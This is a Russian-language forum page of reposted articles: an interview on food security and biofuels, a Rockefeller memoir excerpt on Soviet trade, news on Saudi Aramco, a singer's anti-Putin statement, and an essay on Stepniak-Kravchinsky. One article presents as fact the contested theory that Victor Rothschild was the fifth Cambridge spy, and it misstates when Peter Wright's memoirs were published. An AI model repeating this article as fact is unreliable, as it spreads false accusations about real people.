При этом надо понимать, что продовольственная опасность означает, что у человека по физическим и экономическим причинам нет доступа к продовольствию. В целом объем еды может быть достаточным, но вот разделен он между людьми несправедливо. Голодно не там, где небольшие урожаи, а там где есть бедные. Та же Африка поставляет растительный материал для биотоплива. Они его экспортируют в Соединенные Штаты. Но им надо злаки производить, баланс белка восстанавливать, а не сырье для биобензина выращивать.
— То есть число голодающих на планете не зависит от количества пищи? — Дело действительно не в количестве продуктов. В настоящее время человечество теряет до 30% продовольствия. И это не какие-то там отходы, картофельные очистки. Это самое настоящее продовольствие хорошего качества. Просто в силу ряда причин, скажем, несовершенства логистических схем, складских помещений, эта еда пропадает. Если ликвидировать эти потери, то уже сейчас можно накормить эти 9 млрд, которые у нас будут к 2050 году. Ликвидировать эти потери как раз можно с помощью науки. Возьмем, к примеру, все то, что гниет в овощехранилищах — картофель, морковь, свеклу. Эти овощи способны к перезимовке. С точки зрения эволюции, им надо перезимовать и дать побеги. А у нас они гниют. Но мы совместно с Академией холода показали, что, если на овощах поселить подходящие микроорганизмы, то будет обеспечена защита от грибковой инфекции. Грибы — основные разрушители овощей в хранилищах. Выход товарной продукции может быть увеличен на десятки процентов. С помощью науки можно обеспечить серьезную экономию тех продовольственных ресурсов, которые у нас есть сегодня.
— А кого вообще можно считать недоедающим? Одно дело — дистрофик из Сомали, и совсем другое — голодный китаец, немец или француз... — Недоедающим можно считать того, кто физиологически страдает от недостатка пищи. Такой человек плохо, неправильно развивается, много болеет. Его физиологическая норма питания не обеспечивается. Затраты на энергию, которую этот человек производит, не компенсируется пищей, которую он получает. Существует дисбаланс затрат и пополнения. В регионах он разный. Северянам нужна одна энергия для поддержания жизни, а южанам — другая. Эту проблему тоже пытаются решить ученые. Например, Всероссийский научно-исследовательский институт жиров разрабатывает варианты майонезов с разным количеством жира для северных и южных регионов.
— Сельскохозяйственные площади в настоящее время активно отдают под выращивание сырья для биотоплива... — Средства массовой информация и за рубежом, и в нашей стране поют хвалебные песни биотопливу. Говорят, что биотопливо — это возобновляемый ресурс. Давайте перестанем качать нефть, а начнем выращивать растения, которые будем перерабатывать на этанол. Но единственная страна, которая смогла действительно хоть что-то сделать в плане биотоплива — это Бразилия. У них есть сахарный тростник. Его переработка в этанол стала более или менее выгодной.
Но в остальных случаях история с биотопливом приводит только к ухудшению продовольственной безопасности. Мы отдаем землю, воду, удобрения не на производство продовольствия, а для создания топлива. Эти площади просто выводятся из сельскохозяйственного оборота. Люди перестают на них выращивать пшеницу, а начинают развивать неизвестно что — растить тополь или лозу. Но овчинка не стоит выделки. Если всю сельскохозяйственную продукцию, которая только есть на земном шаре, мы переработаем на биотопливо, то общий баланс топлива на планете увеличится только на 16%. Зачем нужен такой возобновляемый бензин, если нечего будет есть? Но по разным причинам этот миф о биотопливе продолжают использовать.
— Но есть ведь еще отходы сельскохозяйственного производства... — Отходы — куриный, свиной навоз или навоз крупного рогатого скота — вполне можно перерабатывать на биотопливо, но цена его все равно будет высока. Это сырье второго поколения. Существует и третье поколение. Например, можно создать водоросли, которые будут производить вещества, близкие по составу к топливу. Но я сильно сомневаюсь, что кто-то будет культивировать такие водоросли.
— Как можно использовать генную инженерию для обеспечения продовольственной безопасности? — У растений имеется примерно 25-27 тыс. оригинальных генов. Эти гены могут быть представлены разными вариантами — аллелями. Аллели — великое достояние человечества, его резерв. Великий, к сожалению, не по объему, а по своей значимости. Но если правильно использовать всего-навсего один вариант гена, то можно получить замечательный результат. Обратимся, например, к "зеленой революции", которая произошла 50-60 лет назад, когда было резко увеличено производство зерна. Чтобы растение выросло, его надо кормить. Само оно кормится фотосинтезом, а вот азотные удобрения, фосфор, калий ему надо давать. Пшеница, злаки хорошо реагировали на добавки азота, одно плохо — такая пшеница стала вырастать очень высокой. Поэтому ее невозможно было убрать, она просто полегала. Так вот индиец Сваминатан и мексиканский ученый Борлауг — отцы "зеленой революции" — ввели в геном пшеницы ген карликовости, это было сделано обычным скрещиванием. В итоге мы получили карликовую пшеницу с хорошим колосом, которая уже не полегала после азота. Благодаря этому удалось повысить урожайность. Вот что такое генетический ресурс.
— Что с генной инженерией в нашей стране? — В России хороший генетический банк. В нем примерно 320 тыс. образцов растений. Важно именно генное разнообразие. На образцы дикой пшеницы можно вообще не обратить внимания — сорняк и сорняк, но в нем может находится нужный вам вариант гена.
При этом селекционеры уже вывели сорта растений, продуктивность которых близка к биологическому пределу. Например, пшеница "Московская 39" дает 130 центнеров с гектара. В Советском союзе средний урожай пшеницы был 12-15 центнеров с гектара. То есть селекция достигла огромных успехов по продуктивности. Количество урожая может быть огромным. Оно вполне может покрыть увеличение населения, которое произойдет.
— Какие проблемы вырисовываются перед сельским хозяйством в настоящее время? — Волатильность цен на продукцию. Стоимость продовольствия должна быть стабильной, а она каждый год скачет — то упадет раза в три, то резко пойдет вверх. Не страшны ни слишком низкие урожаи, ни слишком высокие — нужны стабильные урожаи на протяжении длительного времени. Никто не решится инвестировать в сельское хозяйство, если нет уверенности, стабильности. Отсюда бесконечные обращения с государству с просьбой о дотациях. Сельское хозяйство всегда будет требовать дотаций, но если не будет стабильного производства, то они останутся единственным источником процветания.
Наш институт как раз и занимается тем, что ищет необходимые комбинации микробов и растений, которые бы обеспечили стабильность производства. Микробы способны защитить растения от засухи, фитопатогенов, других стрессорных воздействий. Полезные микробы можно производить в виде препаратов, которые вносят на поля, тем самым экономя энергию, понижая стоимость продукции, делая ее конкурентоспособной. Вот, например, министр сельского хозяйства Александр Ткачев очень интересуется соей. Хочет поднять ее урожайность с 12 центнеров с гектара до 20 центнеров. Я знаю, как это сделать. Надо просто инокулировать сою полезными клубеньковыми бактериями. Кроме этого, соя должна быть трансгенной.
— А кто будет продвигать все эти инновации? — Молодежь, к сожалению, очень плохо идет в науку вообще, а в сельское хозяйство тем более. Путь молодых людей в сельскохозяйственную науку надо сделать более привлекательным, более интенсивным. Надо готовить их конкретно к научной деятельности в области сельского хозяйства. Сейчас мы совместно с СПбГУ ведем работу по созданию соответствующей программы, так же поступают и в МГУ. Полученные знания необходимо доводить до реализации на практике. Но процесс инновации должен быть обеспечен и соответствующими руководящими органами. Мне нравился опыт Советского Союза — тогда существовал Государственный комитет по науке и технике. Он был над министерствами и непосредственно отвечал за научно-технический прогресс. Было бы правильно, если бы у нас существовал такой комитет и сегодня.
Беседовал Александр Калинин Материал опубликован в рамках проекта "Нобелевское измерение", посвященного проблемам модернизации страны и роли в этом процессе науки и научного сообщества.
Источник:
КАК ДЭВИД РОКФЕЛЛЕР НАЧАЛ СОТРУДНИЧЕСТВО С СССР Американский банкир Дэвид Рокфеллер первый раз посетил СССР в 1962 году. Затем он стал руководителем Дармутских встреч американской и советской интеллигенции. Его банк «Чейз» первым открыл свой офис в Москве в 1973-м. На встречах с Рокфеллером премьер Косыгин предложил США вместе осваивать газовые месторождения и строить АЭС.
Дэвид Рокфеллер описывает свои встречи с советскими деятелями в 1970-х в книге «Клуб банкиров» (впрочем, СССР отводится в книге немного места – Рокфеллера больше занимает Китай, Ближний Восток, глобализация и филантропия). Мы публикуем часть его воспоминаний, относящихся к поездкам в СССР.
«Мои контакты с Советами начались в 1962 году, когда меня пригласили участвовать в конференции представителей американской и советской общественности. Инициированные Норманом Казинсом, издателем «Сатердей ревью», «Дартмутские встречи», как стали называться эти конференции, представляли собой одну из нескольких инициатив периода холодной войны.
В 1971 году основную ответственность за финансирование этих конференций принял на себя Фонд Кеттеринга с дополнительной поддержкой Рокфеллеровского фонда и Фонда Лилли. В то время, когда американские и советские дипломаты обсуждали договоры, касающиеся оборонных расходов и систем противоракетной обороны, Дартмутские встречи стали рассматривать в официальных кругах как Москвы, так и Вашингтона в качестве серьёзного форума, который мог внести вклад в более широкий диалог. Из списка американских участников исчезли знаменитости, и они были заменены специалистами по советским делам, такими как Джеймс Биллингтон, Ричард Гарднер и Поль Уорнке; учеными, такими как Поль Доти из Гарварда и Гарольд Агню из Лос-Аламосской лаборатории; и бизнесменами, компании которых имели интересы в Советском Союзе, такими как генерал Джеймс Гэвин из «Артур Д.Литтл», Г.Уильям Миллер из «Тектрона» и Уильям Хьюитт из «Джон Дира». Также принимал участие в конференциях ряд сенаторов США, включая Фрэнка Черча, Марка Хэтфилда, Хью Скотта и Чарльза (Мака) Мэтайаса.
Сходные изменения произошли и на советской стороне. Местные российские светила и фигуры литературного мира были заменены членами Верховного Совета, государственными чиновниками высокого уровня, известными учёными, специализировавшимися в области изучения Европы, Северной Америки и Ближнего Востока, и вышедшими в отставку военными. Главную ответственность за состав советской группы в начале 1970-х годов нёс Георгий Арбатов, глава Института США и Канады Академии наук СССР.
Во время Киевской встречи летом 1971 года я попросил Георгия Арбатова прогуляться со мной. Предложил, чтобы мы начинали каждую конференцию с короткого заседания, непосредственно за которым происходили встречи в малых группах, где обсуждались бы специфические вопросы, такие, как оборонные расходы и торговля. Арбатов согласился, и мы приняли этот новый формат для всех последующих конференций. Вскоре после этого Фонд Кеттеринга попросил меня принять на себя больший набор обязанностей по организации этих встреч, на что я согласился.
Результатом нового формата встреч и участия опытных и знающих лиц из обеих стран были дискуссии по существу, оказавшие прямое влияние на советско-американские торговые переговоры в первой половине 1970-х годов.
Дартмутские встречи предоставили мне возможность познакомиться с рядом русских в неформальной обстановке. На меня произвели особое впечатление Евгений Примаков, который позже стал министром иностранных дел России, и Владимир Петровский, ставший заместителем Генерального секретаря ООН.
Большой прорыв произошел, когда мы выступили в качестве одного из ведущих американских банков по финансированию миллиардной советской закупки зерна в 1971 году. На следующий год мы начали дискуссии с советскими властями по вопросу об открытии представительства в Москве. В ноябре 1972 года «Чейз» получил разрешение создать представительский офис — он был первым американским банком, получившим лицензию.
Местом нахождения офиса был дом №1 по площади Карла Маркса. Официальное открытие бизнеса состоялось в мае 1973 года. Сначала я предложил послу Анатолию Добрынину, чтобы мы назначили Джеймса Биллингтона главой отделения. Джеймс — специалист по России, свободно говорил по-русски и работал в это время в «Чейзе» в качестве советника по вопросам Советского Союза (позже он занял пост главы Библиотеки Конгресса).
Гала-прием в гостинице «Метрополь», посвящённый открытию офиса «Чейза», имел огромный успех, в том числе и с точки зрения количества собравшихся. Мы пригласили каждого коммунистического функционера в Москве; они кишели, как саранча, и в течение буквально нескольких минут столы, покрытые деликатесами, импортированными из-за рубежа, буквально были обобраны дочиста, не осталось также ни капли жидкости в бутылках вина и водки. Вскоре после этого Советы дали разрешение открыть представительские офисы в Москве «Сити-бэнк» и нескольким другим американским банкам. Хотя советский рынок никогда не приобрел значения ни для одного из наших банков, однако нельзя отрицать символическое значение того, что «Чейз» — «банк Рокфеллера» — оказался первым финансовым учреждением США в Советском Союзе.
Я приезжал в Москву почти ежегодно на протяжении 70-х годов: на Дартмутские встречи или по делам банка. Главным лицом, через которое осуществлялись мои связи с правительством, в это время был Алексей Косыгин, одна из наиболее значимых политических фигур в СССР. Косыгин принимал участие в перевороте, в результате которого был смещён Никита Хрущев в 1964 году. Высокий худощавый человек с печальным лицом, Косыгин был талантливым менеджером, делавшим чудеса, управляя неподатливой советской экономикой. К моменту нашей встречи он проиграл в борьбе за власть в Кремле руководителю Коммунистической партии Леониду Брежневу и был назначен на подчиненное положение премьера — главного операционного директора советской экономики.
В то время как мой разговор с Хрущевым был спором по поводу относительных достоинств наших идеологий и философий, мои беседы с Косыгиным всегда носили прагматический характер и были ориентированы на деловые вопросы. В ретроспективе содержание этих дискуссий было весьма информативным из-за того, что они касались потенциальных экономических взаимоотношений между Соединенными Штатами и СССР.
Я впервые встретился с Косыгиным летом 1971 года после Дартмутской встречи в Киеве. Это была моя первая поездка в Москву после памятной встречи с Хрущёвым. Я обнаружил, что советская столица за прошедшие годы значительно изменилась.
Акцент, который делал Косыгин на производство товаров для потребительского сектора, привёл к тому, что на улицах стало больше автомобилей, более доступной стала одежда и другие товары. Везде осуществлялись крупные проекты строительства дорог, а в Москве система метро представляла собой чудо — современное, чистое, удобное и дешевое. Сама Москва была относительно чистой и без мусора. Хиппи и люди с длинными волосами в основном отсутствовали.
Я был членом Дартмутской делегации и нанёс визит вежливости Косыгину в его кремлевском кабинете. Мы провели основную часть времени, разговаривая о торговле, и Косыгин призвал нашу группу к работе для «снятия барьеров» в Соединенных Штатах, которые препятствовали торговле с СССР.
Было ясно, что Советы желают расширения торговых отношений. Наша вторая встреча совпала с открытием офиса «Чейза» в мае 1973 года. Косыгин был обрадован этим событием и проявлял оптимизм в отношении того, что препятствия, мешающие улучшению торговли между США и Советским Союзом, будут теперь сняты. Он сосредоточивал внимание на разведке крупных газовых месторождений в Сибири, в какой-то момент, размахивая указкой, показал стратегические месторождения на висящей на стене карте. «В экономическом отношении, — говорил он, — мы готовы идти дальше, однако мы не знаем, насколько далеко пойдут Соединенные Штаты».
К 1974 году в круге вопросов, которые занимали Косыгина, произошел явный сдвиг. Это был наш наиболее изобилующий техническими моментами, экономически ориентированный диалог. Он выразил глубокую озабоченность в отношении повышения цен на нефть со стороны ОПЕК и того воздействия, которое это оказывало на американский доллар, а также на европейские и японские платежные балансы. Он внимательно выслушал мой анализ последствий развития этих тенденций. Мы обсудили относительные достоинства альтернативных источников энергии, таких, как уголь и атомная энергия.
Косыгин сказал, что он убежден, что западные страны столкнутся с трудностями в плане снижения своего энергопотребления, а нахождение эффективных решений потребует годы. Премьер предположил, что развитие атомной энергетики в конечном счете понизит стоимость нефти. Затем он спросил: пошел бы «Чейз» на помощь в финансировании и строительстве ядерных электростанций в России, которыми бы совместно владели Соединенные Штаты и СССР? Я был поражен этим революционным предложением, поскольку это показывало, насколько важными были для Советов как американские инвестиции, так и технология, и насколько далеко они готовы были пойти, чтобы получить и то, и другое.
Косыгин завершил нашу встречу, сказав, что «история покажет неправоту тех, кто пытается препятствовать развитию новых отношений между Соединенными Штатами и СССР», и что «руководство Советского Союза верит в руководство Соединенных Штатов, и они единодушны в своем желании найти новые пути для развития новых отношений между нашими странами».На каждой из первых трёх встреч Косыгин был настроен оптимистично и открыто, предлагая потенциальные области сотрудничества и способы, которыми можно развивать общие проекты. Наша встреча в апреле 1975 года прошла по-иному. После принятия поправки Джексона-Вэника и осуждения Брежневым непредоставления Америкой СССР статуса наибольшего благоприятствования в торговле Косыгин перешёл к конфронтационному стилю общения, который я никогда не чувствовал ранее.
Я бросил ему вызов, спросив: «Если Советский Союз действительно собирается стать мировой экономической державой, тогда он должен быть серьёзным фактором в мировой торговле. Как это может быть, если вы не имеете конвертируемой валюты?» Я сказал, что понимаю, что приобретение рублем конвертируемости может создать другие осложнения для СССР, «поскольку ваша идеология требует, чтобы вы резко ограничивали движение людей, товаров и валюты. Каким образом вы можете примирить друг с другом две эти реальности?»
Он смотрел на меня в течение секунды в некотором замешательстве, а потом дал путаный и не особенно адекватный ответ. Ясно, что он никогда серьезно не думал о практических последствиях введения конвертируемой валюты.
Примерно неделю спустя я обедал в ресторане в Амстердаме, когда Фриц Летвилер, управляющий Швейцарским национальным банком, увидел меня и подошел к моему столику. Летвилер сказал, что только что вернулся из Москвы. Он рассказал, что после моего визита Косыгин узнал, что тот был в Москве и пригласил его к себе. Косыгин был обеспокоен моими словами, и они провели два часа, обсуждая последствия конвертируемости валюты для России.
Для Советов не существовало удовлетворительного ответа на заданный мной вопрос. Это четко определяло их дилемму: они не могли стать международной экономической державой без полностью конвертируемой валюты, однако это было невозможно до тех пор, пока они придерживались марксистской догмы и поддерживали репрессивный авторитарный порядок в обществе.
Источник:
Дэвид Рокфеллер. Клуб банкиров:
Дэвид Рокфеллер. Банкир в XX веке. Мемуары:
БАРОН ВИКТОР РОТШИЛЬД БЫЛ ПЯТЫМ ЧЛЕНОМ «КЕМБРИДЖСКОЙ ГРУППЫ»? До сих пор так и не известно, кто был пятым членом «комбриджской пятёрки» разведчиков, работавших на СССР в 1930-50-е годы. Одна из версий – барон Виктор Ротшильд, член палаты лордов, глава отдела МИ-5 по борьбе с саботажем и куратор Сионистского центра в Вене.
Имена четырёх членов «кембриджской пятерки» известны: Ким Филби, Дональд Маклин, Гай Бёрджес и Этони Блант. Кто же был пятым? Этот вопрос беспокоит Англию до сих пор. Считалось, что им был Джон Кернкросс, завербованный русскими ещё будучи студентом Кембриджа, а в дальнейшем работавший то в английском Foreign Office (МИД Великобритании), то в казначействе, то в канцелярии премьер министра, то в Сикрет Интеллидженс Сервис, то в шифровальной Службе.
Вскоре после разоблачения Бланта, Кернкросс, как и его предшественник, покаялся и был прощён. А коль скоро судебный иск заведен не был, Кернкросс, убывший на постоянное жительство во Францию, отмёл все обвинения. Поэтому вопрос: кто же был номером «пять» в «кембриджской группе» оставался открытым. До тех пор, пока не были опубликованы мемуары заместителя начальника МИ-5 (английская контрразведка) Питера Райта.
Маргарет Тэтчер запретила публикацию мемуаров в Европе. Администрация президента США наложила запрет на выход мемуаров у себя в стране. Мемуары, изобилующие ссылками на архивные документы, должны быть опубликованы не ранее десяти лет после кончины главного фигуранта повествования — барона Натаниеля Виктора Ротшильда, попросту — Виктора Ротшильда. Потому то они и вышли в свет на рубеже XX и XXI веков.
Речь идёт именно об отпрыске той самой банковской династии, которая в течение трёхсот лет создавала не только финансовый, но и экономический климат в Западной Европе и в США.
Виктор Ротшильд поступил в Кембриджский университет в 1930 году. Там он тайно вступил в Коммунистическую партию. В Кембридже он близко познакомился с Блантом, Филби, Бёрджесом, а также со стажёром из советской России Петром Капицей, работавшим в лаборатории Резерфорда.
Виктор тогда не имел ни малейшего желания заниматься непосредственно банковским делом — от отца он унаследовал 265 миллионов фунтов стерлингов (сегодня это более трёх миллиардов фунтов), а сам решил посвятить себя научной деятельности.
18 августа 1934 года он получил билет на концерт. Через пару дней прибыла короткая записка от Филби: «Дорогой Виктор, не приходило ли тебе недавно приглашение?» Ротшильду стало ясно, что с ним кто-то хочет встретиться, причём посредником выступает именно Ким Филби.
За несколько секунд до начала концерта место рядом с ним занял высокий человек. Незнакомец представился как Отто, на самом деле это был Теодор Малли, венгр по национальности, кадровый офицер иностранного отдела ОГПУ, один из лучших «охотников за головами» — вербовщиков — советской внешней разведки.
Малли произвёл на Ротшильда неизгладимое впечатление — они продолжили знакомство, и вскоре Виктор был привлечён к сотрудничеству с ОГПУ, в основе которого лежала борьба с фашизмом и помощь СССР — единственной стране, способной разгромить Гитлера.
Малли порекомендовал Виктору в целях конспирации порвать с компартией и не афишировать свои взгляды. В заключение для общения с Центром присвоил ему псевдоним «Моисей». В 1937 году Виктор занял место своего умершего дяди банкира в палате лордов английского парламента и стал лордом Натаниелом Виктором Ротшильдом. Работа в палате лордов и близкая дружба с Уинстоном Черчиллем открыли перед ним большие перспективы добывания политической и научной информации, интересовавшей советскую разведку. Кроме того, Ротшильд был тесно связан с сионистским движением и охотно давал деньги на спасение беженцев евреев.
Некоторое время Ротшильд работал в секретной лаборатории в Портон-Дауне, где разрабатывалось химическое оружие. С началом Второй мировой войны он поступил на работу в МИ-5 (английскую контрразведку), в отдел коммерческого шпионажа, а в 1940 году возглавил отдел по борьбе с саботажем.
После войны, получив несколько высших военных наград от англичан и американцев, Ротшильд уволился из МИ-5 и по заданию Центра вновь вплотную занялся научными изысканиями в Кембридже, став директором британской авиакомпании «BOAC», затем перешёл на работу в нефтяную компанию Royal Dutch Shell, а также продолжил работу в палате лордов.
В тайне от своих операторов из Москвы Ротшильд использовал своё политическое влияние и тайные связи с сионистским Центром в Вене для создания государства Израиль. Но он ошибся в своих прогнозах: в то время как МИД Великобритании занимал проарабскую позицию и сопротивлялся произраильскому лобби в США, Сталин целиком и полностью поддерживал идею создания израильского государства на территории Палестины. Это было, пожалуй, единственной серьёзной ошибкой Виктора Ротшильда…
В 1951 году, после того как Маклин и Бёрджес оказались в Москве, Ротшильд, почувствовав опасность провала и опасаясь разоблачений, стал постепенно сокращать контакты с советской разведкой.
Его тесная связь с Бёрджесом и Блантом была хорошо известна окружению, на неё не раз намекали в поисках «пятого» члена «кембриджского клуба», однако Виктор твёрдо держал удар и угрожал судом всем, кто без веских оснований будет спекулировать на этой теме.
Знатное происхождение, почти трёхсотлетнее служение королевскому трону, связи в самых верхних эшелонах английской власти, непоколебимые позиции в британском истеблишменте сыграли свою беспроигрышную роль, поэтому английская контрразведка так и не решилась допросить Ротшильда. Это сделал Эдвард Хит, избранный в 1970 году премьер-министром Англии. Он пожелал лично познакомиться с жизнью и работой Виктора Ротшильда. Во время беседы с глазу на глаз, продолжавшейся более двух часов, «Моисею» удалось «перевести стрелки» на Джона Кернкросса, о котором ему было известно от Энтони Бланта. Таким образом, Виктор подтвердил официальную версию, утверждающую, что «пятым игроком кембриджской команды» был именно Дж. Кернкросс…
Сумев отвести от себя всякие подозрения, Виктор Ротшильд не только убедил Эдварда Хита в своей непричастности к деятельности «кембриджской пятёрки», но и получил от премьер-министра предложение занять пост директора «мозгового центра» при центральном офисе Консервативной партии. В задачи «мозгового центра» входили стратегический пересмотр и рационализация всей британской политики, в том числе и деятельности спецслужб, что само по себе являлось выражением доверия и правительства, и королевского двора Великобритании барону Натаниелю Виктору Ротшильду. Но работать на советскую разведку «Моисей» не стал — преклонный возраст и, что важнее, ревизия идеалов молодости сделали из него обычного богатого пенсионера. Он умер в 1990 году в возрасте 80 лет.
(Цитаты: Игорь Атаманенко, книга «КГБ — ЦРУ: Кто сильнее?». М., 2009) Источник:
Глава Союза педиатров России Александр Баранов заявил о сильно заниженной официальной статистике абортов в России. На пресс-конференции, посвященной вопросу выведения абортов из системы обязательного медицинского страхования (ОМС), он сказал, что в России происходит, по оценкам экспертов, от 3 до 4 миллионов абортов в год.
The Guardian: Саудиты доигрались с нефтью - приходится продавать мегаэкспортера
Настоящий шок на рынке вызвали слухи о возможной приватизации через IPO крупнейшего в мире экспортера нефти, государственной саудовской компании Saudi Aramco. Об этом пишет сегодня британская The Guardian.
Какая именно доля может быть выстаплена на продажу, пока неизвестно. Однако, если размещение все же будет проведено, то компания из Саудовской Аравии может войти в первую тройку крупнейших публичных компаний мира и даже претендовать на первое место, которое сейчас занимает Apple.
По оценкам экспертов Блумберг, саудовский нефтяной гигант может быть оценен в ходе первичного размещения акций в 2,5 трлн долларов.
Между тем, недавние заявления второго наследного принца Саудовской Аравии Мухаммада бин Салмана о том, что власти рассматривают возможность IPO компании, изумили нефтяной сектор и развязали дискуссию о том, заставит ли свободная продажа акций Saudi Aramco изменить саудовцев свою стратегию снижения нефтяных цен за счет отказа от сокращения объемов выработки, пишет издание.
Несмотря на то что акции компании представляют огромный интерес для потенциальных инвесторов, вполне вероятно, что Саудовская Аравия недооценивает опасения западных игроков относительно закрытости Saudi Aramco и влияния на нее нынешних низких цен на нефть, говорится в статье. Если западные инвесторы решатся на приобретение акций, они потребуют от саудовских властей подробностей - как будет управляться компания, каковы перспективы ее развития и каким будет принцип распределения дивидендов, приводит The Guardian мнение аналитика Oppenheimer & Co. (Нью-Йорк) Фаделя Гейта.
По мнению некоторых экспертов, в частности главы управления исследований биржевых товаров Bank of America Франсиско Бланша, со стороны саудовских властей "это странная идея в странное время", пишет CNBC.
Информация о возможном IPO Saudi Aramco была озвучена на фоне рекордного падения цен на нефть. Сейчас инвесторы опасаются, что цены еще не достигли дна и ситуация на нефтяном рынке может ухудшиться.
Эксперты предполагают, что стремление вывести Saudi Aramco на IPO спровоцировано желанием саудовских властей привлечь средства в экономику, которая уже стала ощущать последствия кризиса цен на нефть, и монетизировать хотя бы некоторые из своих нефтяных активов.
Сам принц бин Салман сравнивает выход Aramco на IPO с экономическими реформами Маргарет Тэтчер, которые известны как "Большой взрыв".
«Лично я в восторге от этого шага. Я считаю, что это в интересах рынка Саудовской Аравии и это в интересах Aramco», - отметил бин Салман.
Saudi Arabian Oil Co. - единственная компания, добывающая нефть в Саудовской Аравии. По последним данным, ей принадлежат вторые по размеру запасы нефти в мире, рыночная стоимость запасов в 261 млрд баррелей составляет $319 млрд. По размеру запасов Aramco в 10 раз обгоняет нефтяного гиганта Exxon Mobil. В настоящее время Aramco контролирует добычу более 10% мирового рынка.
Напомним, как сообщала Правда.Ру, колумнист The Washington Post Мэтт О'Брайан уверен, что Эр-Рияд может проиграть развязанную им же войну на мировом рынке нефти. Саудовская Аравия получает все меньше и меньше прибыли от продажи нефти, а это может негативно сказаться на экономике страны в целом.
Певец Профессор Лебединский: «Пора создавать список пособников путинского режима»
Известный российский певец 1990-х гг. Алексей Лебединский, осуждающий политику хозяина Кремля В.В. Путина, считает, что все пособники «диктаторского режима» должны быть наказаны.
Известный российский певец Алексей Лебединский, выступающий против политики Путина, высказал свое мнение насчет пособников этого «диктаторского режима», передает Joinfo.ua.
Свое мнение «профессор Лебединский» изложил в своем блоге на ресурсе «Свободная зона».
«История показывает нам, что очень редки случаи, когда люди, пособничающие диктаторским, кровавым и авторитарным режимам, бывают осуждены даже не наказанием, а хотя бы упоминанием в позорных списках истории. Почти что, все известные персонажи, сейчас поддерживающие путинский режим, уверены, что все это сойдет им с рук, и при наступлении новой политической эры в России все их подлые поступки будут замазаны, стерты, забыты…», – полагает Лебединский.
«Я категорически против забвения этих ярких примеров морального уродства – они должны служить наглядными примерами наигнуснейших свойств человеческой сущности для будущих поколений, их имена должны навечно остаться на доске позора сегодняшнего времени. Среди этих адептов путинизма гораздо больше сознательных подлецов и лизоблюдов, чем глупцов и сумасшедших. Моя страна так и не признала сталинский геноцид собственного народа, сравнимый по человеческим жертвам со всеми потерями второй мировой войны – это позор русского народа, национальная трагедия невиданных масштабов, но путинский режим поддерживает новые памятники Сталину и Дзержинскому, потому что являет собой такую же систему, которая уже готовит народ к новым жертвам», – отмечает он.
«Я всецело поддерживаю идею составления списка людей, поддерживающих бандитско-воровской путинский режим. Начиная со всех членов госдуры, голосующих за адские античеловечные законы, всех членов совфеда, единогласно поднимающих руки в одобрение нападения на суверенные государства, и заканчивая всеми актерами-музыкантами-продюсерами-режиссерами, продажными журналюгами – всеми известными людьми и работниками СМИ, потакающими беспределу и беззаконию, позорно целующими руки преступной власти. История должна знать своих «героев». Однозначно», – заключил Лебединский.
Ссылка:
Изменено: - 14.01.2016 01:52:40
АЛЛАХ ВСЕВЫШНИЙ сказал:
«Воистину, каждый человек - в убытке, кроме тех, которые УВЕРОВАЛИ, совершали праведные деяния, заповедали друг другу истину и заповедали друг другу терпение!» (КОРАН: сура 103 («аль-'Аср»), аяты 2-3).
Карачай Карачай пишет:
Певец Профессор Лебединский: «Пора создавать список пособников путинского режима»
Профессор Лебединский и другие политические эмигранты в 2000-х
*
Алексе́й И́горевич Лебеди́нский, известный под псевдонимом Профессор Лебединский (род. 28 мая 1968, Ленинград) — российский певец, композитор, фотохудожник, артист, рекламный деятель. Стал широко известен в середине 1990—х годов в России и многих постсоветских странах песнями, которые исполняет необычно хриплым тембром голоса, получил известность благодаря песням «Я убью тебя, лодочник», «Доче», «Там вдали, у метро»[1], «Комарики» (с группой «Жуки»). В ноябре 2014 года покинул Россию, переехав в США по политическим мотивам[2].
РЫЦАРЬ ПЕРА И КИНЖАЛА 120 лет назад, 23 декабря 1895 года, умер Сергей Степняк-Кравчинский – революционер, террорист, литератор
О Сергее Кравчинском можно с полным основанием сказать: прожил короткую, но яркую жизнь. Не только идеолог, но и практик террора, в эмиграции он многое сделал для того, чтобы Европа признала "русских нигилистов" героями и борцами за свободу. Но сам он к концу жизни, похоже, пришел к иному мнению.
Сергей Кравчинский родился в семье военного лекаря. Отец направил сына по той же военной стезе: он поступил в московское Александровское военное училище, которое давало среднее образование, затем получил высшее в петербургском Михайловском артиллерийском, но прослужил лишь год и вышел в отставку в звании подпоручика.
Его юность, поиски места в жизни пришлись на глухое безвременье в истории России, когда великие реформы первого десятилетия царствования Александра II пошли вспять, и, по выражению Блока, "в сердцах царили сон и мгла". Осенью 1871 года Кравчинский вступил в кружок "чайковцев", названный так по имени своего вождя Николая Чайковского. Это были социалисты-народники. Они горячо откликнулись на призыв Герцена идти в народ ради его просвещения и пробуждения к революционной борьбе.
"Мы сбросили немецкое платье и оделись в сермягу, чтобы быть принятыми народом в его среду", – писал впоследствии Кравчинский.
Однако энтузиазм народников натолкнулся на глухую стену. "Хождение в народ" потерпело полный и сокрушительный провал. Философ Георгий Федотов об участниках этого массового движения образованной молодежи с нескрываемым восхищением:
Святых нельзя спрашивать о предмете их веры: это дело богословов. Но, читая их изумительное житие, подвиг отречения от всех земных радостей, терпения бесконечного, любви всепрощающей – к народу, предающему их, – нельзя не воскликнуть: да, святые, только безумец может отрицать это! Никто из врагов не мог найти ни пятнышка на их мученических ризах. Но почему "народ, предающий их"? Да потому, что этот самый народ, который они ехали просвещать, и сдавал их уряднику.
Кравчинский не без горькой иронии :
Тип пропагандиста семидесятых годов принадлежал к тем, которые выдвигаются скорей религиозными, чем революционными движениями. Социализм был его верой, народ – его божеством. Невзирая на всю очевидность противного, он твердо верил, что не сегодня завтра произойдет революция, подобно тому как в средние века люди иногда верили в приближение Страшного суда. Неумолимая действительность нанесла жестокий удар этой восторженной вере, показавши ему его бога, каков он есть, а не каким он рисовался его воображению. Власть ответила на благородный порыв свирепыми репрессиями. Народникам вменялось участие в тайном сообществе, имеющем целью "ниспровержение существующего порядка". В феврале–марте 1877 года в Петербурге прошел "процесс 50-ти". Одна из обвиняемых, 23-летняя дворянка произнесла , ставшую одним из кульминационных моментов процесса:
Наступит день, когда даже и наше сонное и ленивое общество проснется и стыдно ему станет, что оно так долго позволяло безнаказанно топтать себя ногами, вырывать из своей среды братьев, сестер и дочерей и губить их за одну только свободную исповедь своих убеждений! В октябре того же года открылся Большой процесс, или "процесс 193-х". Число арестованных по искусственно сконструированному делу превышало 4000 человек. Многих пришлось отпустить, остальные провели в предварительном заключении не по одному году. К началу судебных слушаний 93 человека умерли, покончили с собой или лишились рассудка за решеткой.
